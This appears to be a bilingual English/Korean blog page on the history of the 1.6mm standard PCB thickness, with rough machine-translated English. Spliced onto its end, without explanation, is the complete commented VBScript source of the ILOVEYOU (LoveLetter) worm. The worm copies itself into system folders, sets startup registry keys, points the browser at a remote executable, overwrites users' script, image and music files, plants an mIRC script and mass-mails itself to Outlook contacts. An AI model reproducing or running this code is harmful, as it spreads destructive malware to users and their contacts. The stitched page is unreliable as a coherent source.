The general PCB finished plate thickness is 0.8mm to 1.6.mm between 1.6.mm, and the more common plate thickness specification is designed according to the 1.6 mm of the metric unit (about 63mil), many plugins The standard is also adapted in accordance with 1.6mm, what is the 1.6mm thickness standard?
일반적인 PCB 마감 판두께는 0.8mm ~ 1.6.mm로 1.6mm 사이이며, 보다 일반적인 판두께 사양은 미터법 단위(약 63mil)의 1.6mm에 따라 설계됩니다. 많은 주문제작의 표준 역시 이에 적용됩니다. 1.6mm 두께 기준이 뭘까요?
We learned that the "PCB Development History" chapter of the "PCB development history" is designed by the PCB design. In the era of tubes, the PCB industry is still in the sprouting stage. Since the amount of heat generated by the tube component is large, the volume is bulky, it is inconvenient to install on the printed circuit board (Need a certain mechanical strength), the production of electronic products at the time was basically a handmade studio installation. Of course, this is also related to the development of the substrate material of the PCB, as the epoxy resin of the PCB substrate (see the PCB of the column) This chapter of the substrate resin), the manufacturing technology of the PCB substrate, copper foil, etc. have not been commercialized.
PCB 개발의 역사에 역사에 따르면, Tube를 사용하던 시대에 PCB 산업은 아직 싹트기전 단계에 있었습니다. 튜브에서 발생하는 발열이 커서, 부피를 키울 수 밖에 없었고 이는 PCB(일정한 기계적 강도 필요)를 설치하기 불편했습니다. 당시 전자제품 생산은 기본적으로 수작업 설치가 주로 이뤄졌습니다. 물론 이는 PCB기판의 에폭시수지 (PCB기판의 단면을 보면된다)로 PCB기판의 제조기술과도 관련이 있습니다. 이 당시 기판, 동박 등은 아직 상용화되지 않았습니다.
In the 1920s, circuit developers used electric wood (phenolic resins), gypsum board, cardboard, and even thin wood-building circuit boards (forms similar to the cave plate or breadboard, with a printed circuit board). They drill on the material and then securely secure the flat copper wire to the board to form an interconnected circuit with a rivet or bolt.
1920년대에 회로 개발자는 전기 목재(페놀 수지), 석고 보드, 판대기, 심지어 얇은 목재로 만든 회로 기판(인쇄 회로 기판 처럼 긁어낸 판 또는 Bread Board와 유사한 형태)을 사용했습니다. 그들은 보드를 드릴로 뚫은 다음, 평평한 구리 와이어를 보드에 단단히 고정하여, 리벳이나 볼트로 서로 연결된 회로를 만들었습니다.
Among them, electric wood is also a phenolic resin, from German chemist Adolf Von Bayer (1835-1917) first synthesized in 1872. In 1907, the American Chemist (1863-1944) was born in Belgium (1863-1944) improved the production technology of phenolic resin, and the resin was practiced, industrialized. In 1910, he established a general Bakelite and uses the name "Bakelite" "Bakelite" to the phenolic resin trademark according to his own name.
그 중에서, 전기 목재는 또한 페놀수지로서, 독일의 화학자 Adolf Von Bayer(1835-1917)가 1872년에 처음으로 합성에 성공했습니다. 벨기에서 태어나 미국으로 온 화학자(1863-1944)로 인해 페놀 수지의 기술과 수지는 발전되었고 이내 산업화되었습니다. 1910년, 그는 general Bakelite를 설립하고, 그의 이름 "Bakelite"를 따서 페놀수지 상표에 "Bakelite" 또는 "Bakelite" 라는 이름을 사용했습니다.
At the beginning of the 20th century, relying on Bakeland's phenolic resin manufacturing patents, in Germany, United Kingdom, France and Japan and other countries, the industrial production of phenolic resins has been achieved. Phenolic resins also begin to be widely used in the knobs of the radio, turntable, mounting components (non-printed circuit boards), and even radios.
20세기 초 독일, 영국, 프랑스, 일본 및 기타 국가에서 Bakeland의 페놀 수지 제조 특허에 의존하여, 페놀 수지의 산업적 생산이 이루어졌습니다. 페놀 수지는 또한 라디오의 손잡이, 턴테이블(turntable), 장착용 부품(인쇄되지 않은 회로 기판), 심지어 라디오에도 널리 사용되기 시작했습니다.
In 1921, the laminate manufactured by Formica has been integrated into the manufacturing of household radio and marine radio. In 1927, Formica found that the formation of decorative paper was added to the printing process, and their laminate can be made into a simulated wood grain. And marble pattern. As the laminated plate becomes more colorful and decorative, its market has expanded rapidly. At that time, there were a phenolic laminate as a decorative panel of the table surface.
1921년, Formica에서 제조한 laminate는 가정용 라디오 및 항해용 라디오 제조과정에 통합되었습니다. 1927년, Formica는 인쇄 공정에 decorative paper(장식용 종이)의 형태를 추가했으며, 그 적층판을 모조 나뭇결로 만들 수 있음을 발견했습니다. 그리고 대리석 무늬, laminated plate(결이 있는 판)는 당시 점점 화려하고 장식용으로 시장에 빠르게 확산되었습니다. 당시 테이블 표면 장식용 패널로 페놀 라미네이트가있었습니다.
Phenolic laminate is a rugged and well-insulated polymer material with heat, waterproof, chemical resistance and can withstand the characteristics of high current. Although it is not specially developed as a circuit board, more widely used in decoration Due to the use of panels, the phenolic laminate is much better as the mounting support of the tube or as the mounting of the tube, and there is a lot of strength relative to the plasterboard, the cardboard, or the thin wood flakes, and the phenolic laminate is used instead of cardboard or thin wooden board as a circuit. The board is natural and there is a natural thing.
페놀 라미네이트는 열, 방수, 내화학성을 갖춘 견고하고 절연이 잘 된 폴리머 소재로 고전류 특성을 견딜 수 있습니다. 특별히 회로기판으로 개발된 것은 아니지만 장식용으로 더 널리 사용되는 패널의 사용으로 인해 페놀 라미네이트는 튜브의 장착 지지대 또는 튜브의 장착으로 훨씬 우수하며 많은 석고보드, 판지 또는 얇은 나무 조각에 비해 강도가 높고 회로로 판지 또는 얇은 나무 판 대신 페놀 라미네이트를 사용합니다.
However, in the phenolic laminate, the phenolic laminate is punched and then connecting all electronic components. It is still a very laborious thing. It is better than playing the cave board. After all, the cave board is still pre-tied. Not long, some people came up with a method, stick a copper foil on the phenolic laminate, and then etched the interconnected line between the components on the copper foil. In 1913, Berry in the United Kingdom invented the resist The agent is applied to the metal foil, and the etch is not coated, thereby forming a conductive pattern, which is made a single-sided printed circuit board. Soon, the development of the interconnection system between multiple boards produces the relevant needs of the panel connector.
그러나, 페놀릭 라미네이트에서 이를 뚫고 모든 전자 부품을 연결합니다. 그것은 여전히 매우 힘든 일입니다. 이보다 판을 Cave 치는 것보다 낫습니다. 얼마 지나지 않아 어떤 사람들은 페놀성 라미네이트에 동박을 붙인 다음, 동박의 Component 사이의 상호 연결선을 에칭하는 방법을 고안했습니다. 1913년 영국의 Berry가 resist 을 발명하여, 금속박에 부식제를 도포하고 Etch는 코팅되지 않고, 전도성 패턴을 형성하여 단면 인쇄회로기판으로 만든다. 곧, 여러 보드 간의 상호 연결 시스템을 갖는 보드 개발에 대한 수요는, panel connector 관련 필요를 느끼게 합니다.
At the time of 1/16 inches or 63 mil, the production thickness of the phenolic laminate at that time, the panel panel connector is naturally designed according to the thickness of 1/16 inches (about 63 mil or 1.6 mm), which forms a supporting Industrial chains, 1/16 inches (about 63 mil or 1.6mm) thickness also forms a default standard for industry.
Today, the development of the substrate material has been very diverse such asFR4 sheet, but 1.6mm (or 63mil of the British unit) is still the default molded plate thickness of the PCB board factory, but the standard plate thickness range is extended to 0.8mm to 1.6mm. (Specifically based on the process of board factory, some plate factory is 0.6mm ~ 2.5mm)
Of course, if the PCB to produce thinner or thicker (such as 20 layers) is also possible, such as 0.4 mm or 3.0 mm, but require additional payboard costs, it needs to be considered when the PCB is designed.
1/16인치 또는 63mil 당시 페놀성 적층체의 생산 두께, 패널 패널 커넥터는 1/16인치(약 63mil 또는 1.6mm)의 두께에 따라 자연스럽게 오늘날 기본 설계 기준이 되었고, 산업 표준이 되었습니다.
오늘날 FR4 Sheet와 같이 기판 재료의 개발은 매우 다양하지만 1.6mm(또는 영국 단위의 63mil)는 여전히 PCB 기판 공장의 기본 판 두께이지만, 표준 판 두께 범위는 다음과 같은 범위를 갖습니다. => 0.8mm ~ 1.6mm. (구체적으로는 기판공장의 공정에 따라 0.6mm~2.5mm 정도의 판공장도 있음)
물론 PCB의 경우 0.4mm나 3.0mm와 같이 더 얇거나 더 두꺼운(20층 등) 생산도 가능하지만 추가 페이보드 비용이 필요하므로 PCB를 설계할 때 이를 고려해야 합니다.
반응형
When determining the PCB thickness, there is a need to consider many design and manufacture factors, such as:
Copper thickness
Plate
PCB layer number
signal type
Type of through holes
Operating environment
Manufactured factors affecting the thickness of the PCB include:
Craft capabilities for drilling equipment
Copper thickness
Layer number
Division method
Factors that need to be considered for PCB design of non-standard thickness:
1. Plate factory's process capacity
The first thing to consider is that your board factory has equipment to make the thickness you need. This decision should be made as soon as possible while considering other relevant DFM design requirements. Otherwise, you may be forced to modify and redesign your PCB laminated structure.
2. Extend delivery time
If the board is selected is not a standing material, it is often extended to the production cycle of the PCB, so it is necessary to consider delivery time for non-standard plate thickness.
3. Additional fees
This may be the most important point, you need to assess the cost of special sheets, additional manufacturing costs, and time cost extending to determine whether additional cost is acceptable.
Priority adopts a standard PCB thickness will make your board make faster and lower cost. However, if you decide to choose a non-standard thickness, you should communicate with the board factory before starting the PCB design, ensuring that the process can be manufactured and communicated during delivery and additional manufacturing costs.
* 아래 사이트도 참고하면 좋다 1.6mm 기준으로 어떻게 layer 두께가 형성되는지 볼 수 있다.
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
rem Setup global variables to be used throughout subroutines and functions.
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0
rem Open the current script file and define "vbscopy" which can be used to
rem read its own contents. Used to replicate itself in other files.
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main()
rem Subroutine to initalize the program
Sub main()
On Error Resume Next
Dim wscr, rr
rem Creates a shell which will be used to read the registry.
Set wscr = CreateObject("WScript.Shell")
rem Gets a registry key which indicates the scripting time-out from Windows.
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
rem Checks if the current timeout is more than 0.
If (rr >= 1) Then
rem Sets the timeout to 0, effectively making it so that the script won't
rem time out, incase the system happens to be too slow to execute it.
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
End If
rem Finds special folders, such as system, temporary and windows folders.
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
rem LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem & "\MSKernel32.vbs")
c.Copy(dirwin & "\Win32DLL.vbs")
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
rem Call the other subroutines.
regruns()
html()
spreadtoemail()
listadriv()
End Sub
rem Subroutine to create and update special registry values.
Sub regruns()
On Error Resume Next
Dim num, downread
rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"
rem Get internet Explorer's download directory.
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
rem If the directory wasn't found, then use C:\ drive as the download directory.
If (downread = "") Then
downread = "c:\"
End If
rem Check if a file named "WinFAT32.exe" exists in the system files.
If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
Randomize
rem Generate a random number from 1 to 4.
num = Int((4 * Rnd) + 1)
rem Randomly update the Internet Explorer's start page that leads to a
rem page that will download a malicious executable "WIN-BUGSFIX.exe".
If num = 1 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
End If
End If
rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory.
If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
rem Add WIN-BUGSFIX.exe to run on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
rem Update Internet Explorer's start page to "about:blank"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
End If
End Sub
rem Subroutine to list folders in drives.
Sub listadriv()
On Error Resume Next
Dim d, dc, s
Set dc = fso.Drives
For Each d In dc
If (d.DriveType = 2) Or (d.DriveType = 3) Then
folderlist(d.path & "\")
End If
Next
listadriv = s
End Sub
rem Subroutine infect other files, by copying itself into them as well
rem as creating a malicious mIRC script.
Sub infectfiles(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
rem Copies itself into every file with vbs/vbe extension.
If (ext = "vbs") Or (ext = "vbe") Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
rem Copies itself into every file with js/jse/css/wsh/sct/hta extension
rem and creates a copy of the file with the .vbs extension.
ElseIf (ext = "js")
Or (ext = "jse")
Or (ext = "css")
Or (ext = "wsh")
Or (ext = "sct")
Or (ext = "hta")
Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
Set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with jpg/jpeg extension
rem and creates a copy of the file with the .vbs extension.
ElseIf (ext = "jpg") Or (ext = "jpeg") Then
rem Copies itself
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
Set cop = fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with mp3/mp2 extension.
ElseIf (ext = "mp3") Or (ext = "mp2") Then
Set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
Set att = fso.GetFile(f1.path)
rem Sets file attributes to make the file Hidden.
rem Normal files have the attribute set to 0 so adding 2 to it,
rem will set the attributes to Hidden.
att.attributes = att.attributes + 2
End If
rem Checks if the folder has already been infected, if not it will continue
rem to infect the files.
If (eq <> folderspec) Then
rem Looks for mIRC and related files to determine whether it
rem should create/replace its script.ini with a malicious script.
If (s = "mirc32.exe")
Or (s = "mlink32.exe")
Or (s = "mirc.ini")
Or (s = "script.ini")
Or (s = "mirc.hlp")
Then
Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
rem The following mIRC script checks if the "nick" of a user is the same
rem as "me" to halt and send a DCC command that will send a message to
rem the user with a link to the LOVE=LETTER-FOR-YOU html page on the
rem system.
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq = folderspec
End If
End If
Next
End Sub
rem Subroutine used to get file listing of a folder.
Sub folderlist(folderspec)
On Error Resume Next
Dim f, f1, sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
rem Iterates over each subfolder from the given top-level folder and
rem recursively infect files.
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
rem Subroutine used to create/write registry entries.
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
rem Subroutine used to get registry entries.
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
End Function
rem Function to check if a file exists.
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
rem Function to check if a folder exists.
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
rem Subroutine to send emails to the user's contacts through MAPI
rem (Messaging Application Programming Interface), the API used by Outlook to
rem communicate with the Microsoft Exchange Server which also hosts calendars
rem and address book.
Sub spreadtoemail()
On Error Resume Next
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
rem Creates a shell to edit the registry.
Set regedit = CreateObject("WScript.Shell")
rem Creates a new Outlook application object instance, to access the MAPI.
Set out = WScript.CreateObject("Outlook.Application")
rem Gets the MAPI namespace used to access the address book lists.
Set mapi = out.GetNameSpace("MAPI")
rem Goes through all contacts in the address book and sends an email
rem with the LOVE-LETTER-FOR-YOU program as an attachment.
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
rem Gets a registry key that is used to check who has been sent an email,
rem already to ensure that even if there may be duplicate contacts, it will
rem only send the email once to the same address.
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
If (regv = "") Then
regv = 1
End If
If (int(a.AddressEntries.Count) > int(regv)) Then
rem Iterates over each entry in the address list.
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead )
rem If the contact hasn't yet been sent an email, a new email will be
rem composed with the virus attached and a "kind" message and the
rem subject "ILOVEYOU".
If (regad = "") Then
Set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
rem Sets the registry key to indicate that the email has been sent
rem to the current contact.
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
End If
x = x + 1
Next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
Else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
End If
Next
Set out = Nothing
Set mapi = Nothing
End Sub
rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM.
Sub html
On Error Resume Next
Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
rem Generates an HTML page which contains a JScript and VBScript to replicate
rem itself by leveraging ActiveX. It also listens for mouse and key events,
rem which will open additional windows of the same page.
dta1 = "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"
& vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"
& vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"
& vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "
& vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"
& vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"
& vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>"
& vbcrlf & _ "<?-?BODY><?-?HTML>"
& vbcrlf & _ "<SCRIPT language=@-@JScript@-@>"
& vbcrlf & _ "<!--?-??-?"
& vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"
& vbcrlf & _ "?-??-?-->"
& vbcrlf & _ "<?-?SCRIPT>"
& vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"
& vbcrlf & _ "<!--"
& vbcrlf & _ "on error resume next"
& vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"
& vbcrlf & _ "aw=1"
& vbcrlf & _ "code="
dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"
& vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)"
& vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"
& vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"
& vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"
& vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"
& vbcrlf & _ "wri.write code4"
& vbcrlf & _ "wri.close"
& vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then"
& vbcrlf & _ "If (err.number=424) Then"
& vbcrlf & _ "aw=0"
& vbcrlf & _ "End If"
& vbcrlf & _ "If (aw=1) Then"
& vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"
& vbcrlf & _ "window.close"
& vbcrlf & _ "End If"
& vbcrlf & _ "End If"
& vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"
& vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"
& vbcrlf & _ "?-??-?-->"
& vbcrlf & _ "<?-?SCRIPT>"
rem Replaces encoded characters from the above document to form a valid
rem document that can be correctly opened and executed in the browser.
dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")
dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")
dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")
dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\")
dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")
dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")
dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")
dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\")
rem Opens a new file system object, which is used to read this specific
rem script file, that will then be injected into the HTM document.
Set fso = CreateObject("Scripting.FileSystemObject")
Set c = fso.OpenTextFile(WScript.ScriptFullName, 1)
lines = Split(c.ReadAll,vbcrlf)
l1 = ubound(lines)
rem Encodes all special characters of the script's HTM, as this script
rem will be injected into the HTM file and executed.
For n = 0 to ubound(lines)
lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91))
lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93))
lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37))
If (l1 = n) Then
lines(n) = chr(34) + lines(n) + chr(34)
Else
lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"
End If
Next
rem Create the LOVE-LETTER-FOR-YOU.HTM file in the system directory.
Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")
b.close
rem Creates the HTM file from everything above.
Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2)
d.write dt5
d.write join(lines, vbcrlf)
d.write vbcrlf
d.write dt6
d.close
End Sub